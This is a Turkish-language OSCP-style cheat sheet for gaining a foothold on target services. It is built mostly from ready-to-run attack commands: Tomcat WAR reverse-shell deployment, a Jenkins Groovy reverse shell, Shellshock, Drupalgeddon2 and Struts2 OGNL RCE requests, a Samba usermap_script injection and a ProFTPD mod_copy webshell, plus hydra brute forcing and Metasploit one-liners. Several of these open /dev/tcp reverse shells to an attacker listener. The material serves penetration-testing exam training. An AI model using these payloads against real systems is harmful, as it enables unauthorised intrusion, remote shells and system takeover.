FOOTHOLD Metodoloji Cheat-sheet
Exploit ⚠ RESTRICTED orta :21:22:80:139:445:2049:8009:8080:8081:8443

Servis Exploit & Varsayılan Kimlik Bilgisi İş Akışı

Versiyon tespitinden public exploit'e giden klasik OSCP servis istismarı iş akışı: searchsploit ile eşleştirme, Tomcat manager WAR deploy, Jenkins script console, Shellshock (CVE-2014-6271), Drupalgeddon2, Apache Struts2 OGNL, Samba usermap_script ve ProFTPD mod_copy. Tespit + manuel exploit pointer'ları, Metasploit gerektiren yerlerde restricted.

Bilgi: ÖN KOŞULLAR
  • Hedef üzerinde nmap -sV ile servis versiyonlarının çıkarılmış olması
  • LHOST/LPORT için erişilebilir bir dinleyici (nc/msfconsole)
  • Web servislerinde panel/endpoint enumerasyonunun yapılmış olması
┌──

Komutlar

searchsploit ✓ EXAM-SAFE
searchsploit apache 2.4.49
Servis adı + versiyonla yerel Exploit-DB veritabanında public exploit araması. nmap -sV çıktısındaki her servis için tekrarla. HackTricks — Searchsploit / Exploit-DB
searchsploit ✓ EXAM-SAFE
searchsploit -x linux/remote/50383.txt
-x ile bir exploit'in tam metnini incele (çalıştırmadan önce ne yaptığını oku). -m ile mevcut dizine kopyalanır. Exploit-DB — searchsploit usage
searchsploit ✓ EXAM-SAFE
searchsploit -m windows/remote/42315.py
Eşleşen exploit dosyasını çalışma dizinine kopyala (mirror). Path Exploit-DB ID'sinden alınır. Exploit-DB — searchsploit usage
nmap ✓ EXAM-SAFE
nmap -p- -sV --version-all -oN nmap-full-{{RHOST}}.txt {{RHOST}}
Tüm portlarda agresif versiyon tespiti — searchsploit eşleştirmesi için doğru servis/versiyon stringleri bu çıktıdan gelir. TJnull PWK guide — Enumeration
hydra ✓ EXAM-SAFE
hydra -L users.txt -P {{WORDLIST}} -f {{RHOST}} -s {{RPORT}} http-get /manager/html
Tomcat manager için HTTP Basic varsayılan kimlik bilgisi brute (tomcat:tomcat, admin:admin vb.). Önce default-cred listelerini dene. HackTricks — Pentesting Tomcat
msfvenom ✓ EXAM-SAFE
msfvenom -p java/jsp_shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f war -o shell.war
Tomcat manager'a deploy edilecek reverse shell WAR paketi üret. msfvenom tek başına safe sayılır. HackTricks — Pentesting Tomcat (WAR deploy)
curl ✓ EXAM-SAFE
curl -u {{USER}}:{{PASS}} -T shell.war "{{URL}}/manager/text/deploy?path=/shell"
Geçerli manager kimlik bilgisiyle WAR'ı text API üzerinden deploy et; ardından {{URL}}/shell/ ziyaret edilerek shell tetiklenir. Manuel, exam-safe yol. HackTricks — Pentesting Tomcat (manager text deploy)
curl ✓ EXAM-SAFE
curl -u {{USER}}:{{PASS}} "{{URL}}/manager/text/undeploy?path=/shell"
İş bitince deploy edilen uygulamayı temizle — temiz iz bırakma. HackTricks — Pentesting Tomcat
groovy ✓ EXAM-SAFE
println new ProcessBuilder('bash','-c','bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1').redirectErrorStream(true).start().text
Jenkins Script Console (/script) içinde çalıştırılacak Groovy reverse shell. Jenkins genelde yüksek yetkiyle koşar. HackTricks — Pentesting Jenkins (Script Console RCE)
curl ✓ EXAM-SAFE
curl -k -u {{USER}}:{{PASS}} "{{URL}}/script" --data-urlencode "script=def p='id'.execute();println(p.text)"
Jenkins script console'a HTTP üzerinden Groovy gönderme (CSRF crumb gerekebilir). Önce komut çalıştığını id ile doğrula. HackTricks — Pentesting Jenkins
nmap ✓ EXAM-SAFE
nmap -p {{RPORT}} --script http-shellshock --script-args uri=/cgi-bin/status,cmd=id {{RHOST}}
Shellshock (CVE-2014-6271) için CGI endpoint tespiti. Önce /cgi-bin/ altında çalıştırılabilir scriptleri bul. HackTricks — Shellshock
curl ✓ EXAM-SAFE
curl -H "User-Agent: () { :;}; echo; echo; /bin/bash -c 'id'" {{URL}}/cgi-bin/status
Shellshock manuel exploit: zararlı fonksiyon tanımı bir CGI ortam değişkenine enjekte edilerek RCE. User-Agent dışında Cookie/Referer de denenebilir. PayloadsAllTheThings — Shellshock
curl ✓ EXAM-SAFE
curl -H "User-Agent: () { :;}; /bin/bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'" {{URL}}/cgi-bin/status
Shellshock üzerinden doğrudan reverse shell. LHOST/LPORT'ta nc dinleyicisi açık olmalı. PayloadsAllTheThings — Shellshock
curl ✓ EXAM-SAFE
curl -s '{{URL}}/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' --data 'form_id=user_pass&_triggering_element_name=name'
Drupalgeddon2 (CVE-2018-7600) Drupal 7 RCE — form API render array injection. Drupal versiyonu CHANGELOG.txt'den doğrulanır. PayloadsAllTheThings — Drupalgeddon2 / HackTricks Drupal
curl ✓ EXAM-SAFE
curl -s '{{URL}}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id'
Drupal 8 Drupalgeddon2 varyantı (user/register AJAX endpoint). 7 ve 8 için endpoint farklıdır; ikisini de dene. HackTricks — Drupal RCE
curl ✓ EXAM-SAFE
curl -i '{{URL}}/' -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#proc=#p.start()).(#out=@org.apache.commons.io.IOUtils@toString(#proc.getInputStream())).(#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')).(#resp.getWriter().println(#out))}"
Apache Struts2 CVE-2017-5638 (Content-Type OGNL injection) RCE. #cmd değiştirilerek reverse shell de tetiklenebilir. PayloadsAllTheThings — Apache Struts / HackTricks Struts2
smbmap ✓ EXAM-SAFE
smbmap -H {{RHOST}} -u anonymous
Samba enumerasyonu — paylaşımlar ve erişim. Versiyon 3.0.20-3.0.25rc3 ise usermap_script (CVE-2007-2447) zafiyeti hedeflenebilir. HackTricks — Pentesting SMB
smbclient ✓ EXAM-SAFE
smbclient //{{RHOST}}/share -U "./=`nohup bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'`"
Samba usermap_script (CVE-2007-2447) manuel exploit: kullanıcı adı alanına shell komut enjeksiyonu. Username map script aktifken root shell verir. [UNVERIFIED] tırnak/escape kabuk versiyonuna göre ayarlanabilir. HackTricks — CVE-2007-2447 usermap_script
msfconsole ⚠ RESTRICTED
msfconsole -q -x "use exploit/multi/samba/usermap_script; set RHOSTS {{RHOSTS}}; set LHOST {{LHOST}}; set LPORT {{LPORT}}; run"
Samba usermap_script Metasploit modülü (otomatik exploit — OSCP'de modül kullanımı kısıtlı). Manuel smbclient yöntemi sınav-güvenlidir. Metasploit — exploit/multi/samba/usermap_script
msfconsole ⚠ RESTRICTED
msfconsole -q -x "use exploit/unix/ftp/proftpd_modcopy_exec; set RHOSTS {{RHOSTS}}; set SITEPATH /var/www/html; set LHOST {{LHOST}}; run"
ProFTPD 1.3.5 mod_copy (CVE-2015-3306) — SITE CPFR/CPTO ile web köküne dosya yazıp RCE. Modül otomatik exploit olduğundan restricted. Metasploit — exploit/unix/ftp/proftpd_modcopy_exec
nc ✓ EXAM-SAFE
nc {{RHOST}} {{RPORT}} SITE CPFR /etc/passwd SITE CPTO /tmp/passwd.copy
ProFTPD mod_copy manuel testi: kimlik doğrulamasız SITE CPFR/CPTO komutları çalışıyorsa zafiyet doğrulanmış olur. Sonra PHP shell'i web köküne kopyala. HackTricks — Pentesting FTP (ProFTPD mod_copy)
curl ✓ EXAM-SAFE
curl "{{URL}}/shell.php?cmd=id"
ProFTPD mod_copy ile web köküne kopyalanan PHP webshell'in tetiklenmesi (CPTO hedefi /var/www/html/shell.php olmalı). Önce <?php system($_GET['cmd']); ?> içerikli dosya FTP ile uygun yere konur. HackTricks — ProFTPD mod_copy to webshell

Genel Mantık

Bir servisin versiyonunu bildiğinde, OSCP iş akışının kalbi şudur: versiyon → public exploit → manuel doğrulama → RCE. nmap -sV çıktısındaki her satır (servis adı + sürüm) searchsploit için bir sorgudur. Asla körlemesine exploit çalıştırma; searchsploit -x ile metni oku, ne yaptığını anla, gerekirse searchsploit -m ile kopyalayıp LHOST/LPORT ve hedef path değerlerini düzenle.

Önce default-cred dene. Yönetim panelleri (Tomcat manager, Jenkins, Drupal admin) çoğu zaman zayıf/varsayılan kimlik bilgileriyle gelir. Exploit yazmadan önce tomcat:tomcat, admin:admin, tomcat:s3cret gibi kombinasyonlar ve hydra ile küçük bir liste denenmeli.

Tomcat Manager → WAR Deploy

/manager/html veya /host-manager/html paneline geçerli kimlik bilgisiyle erişildiğinde, bir JSP reverse shell WAR paketi deploy edilerek RCE alınır:

  • Önce manager kimlik bilgilerini bul (default-cred listesi, tomcat-users.xml LFI ile sızmış olabilir).
  • msfvenom ile java/jsp_shell_reverse_tcp WAR üret (msfvenom tek başına sınav-güvenli).
  • text/deploy API’sine curl -T ile yükle, sonra {{URL}}/shell/ ziyaret ederek tetikle.
  • İş bitince text/undeploy ile temizle.

Gotcha: Tomcat 7+ sürümlerde manager ile host-manager ayrıdır ve manager-script rolü gerekir. 401 alıyorsan kullanıcının manager-gui değil manager-script rolüne ihtiyacı olabilir.

Jenkins Script Console

Kimlik doğrulamasız ya da varsayılan kimlikli Jenkins’te /script Groovy konsolu doğrudan RCE verir. Jenkins servisi sık sık SYSTEM/root ya da geniş yetkili bir hesapla koştuğu için tek adımda yüksek yetki gelebilir. CSRF koruması (crumb) açıksa önce /crumbIssuer/api/json ile crumb alıp header olarak ekle. Önce id ile komut çalıştığını doğrula, sonra Groovy reverse shell’e geç.

Shellshock (CVE-2014-6271)

Eski Bash + CGI kombinasyonunda ortam değişkenlerine fonksiyon tanımı enjekte edilerek RCE alınır. Adımlar:

  • /cgi-bin/ altında çalıştırılabilir script ara (status, test.cgi, .sh).
  • nmap --script http-shellshock ile zafiyeti tara.
  • () { :;}; payload’ını User-Agent, Cookie veya Referer header’ına koy — hangisinin ortam değişkenine geçtiği sunucuya göre değişir, hepsini dene.

Drupalgeddon2 (CVE-2018-7600)

Drupal 7 ve 8’de Form API render array injection ile kimlik doğrulamasız RCE. Versiyonu CHANGELOG.txt veya /core/CHANGELOG.txt’den doğrula. Endpoint Drupal 7 ile 8 arasında farklıdır (user/password vs user/register); ikisini de dene. passthru/exec callback’iyle önce id çalıştır, sonra reverse shell komutuna geç.

Apache Struts2 (CVE-2017-5638)

Java uygulamalarında (genelde .action/.do uzantıları) Content-Type header’ı üzerinden OGNL ifade injection ile RCE. Payload içindeki #cmd değişkenini değiştirerek istediğin komutu çalıştırırsın; çıktı HTTP response’ta döner. Reverse shell için #cmd’yi bash -c '...' bash one-liner’ı ile değiştir.

Samba usermap_script (CVE-2007-2447)

Samba 3.0.20 – 3.0.25rc3 aralığında, username map script yapılandırması aktifken kullanıcı adı alanına shell metakarakterleri enjekte edilerek root komut çalıştırma. smbclient ile kullanıcı adına `komut` enjekte ederek manuel olarak sömürülür (sınav-güvenli). Metasploit modülü de mevcuttur ama otomatik exploit olduğundan restricted; sınavda manuel smbclient yöntemini tercih et.

ProFTPD mod_copy (CVE-2015-3306)

ProFTPD 1.3.5’te mod_copy, kimlik doğrulamasız SITE CPFR/SITE CPTO komutlarına izin verir. İstismar:

  • Önce nc ile bağlanıp SITE CPFR /etc/passwd + SITE CPTO /tmp/x çalışıyor mu doğrula.
  • Bir PHP webshell’i (örn. /tmp üzerinden ya da doğrudan FTP’ye yazılabilir bir yerden) web köküne CPTO /var/www/html/shell.php ile kopyala.
  • {{URL}}/shell.php?cmd=id ile tetikle.

Web kök yolunu (SITEPATH) bilmen gerekir — /var/www/html, /var/www, ya da Apache config’inden tespit et. Metasploit modülü tek adımda yapar ama restricted; manuel CPFR/CPTO + webshell yolu sınav-güvenlidir.

Notlar ve Tuzaklar

  • Her zaman önce id/whoami ile RCE’yi doğrula, sonra reverse shell’e geç — payload’ın çalışıp çalışmadığını bilmeden shell beklemek zaman kaybı.
  • Reverse shell almadan önce LHOST/LPORT’ta nc -lvnp {{LPORT}} dinleyicisi açık olmalı.
  • Metasploit modülleri (usermap_script, proftpd_modcopy_exec) hızlıdır ama OSCP’de modül başına bir kısıt vardır; mümkün olan her yerde manuel curl/smbclient/nc yöntemini kullan.
  • Web tabanlı RCE sonrası shell upgrade ve dosya transferi için ilgili tekniklere geç.
┌──

Kaynaklar

0/15 set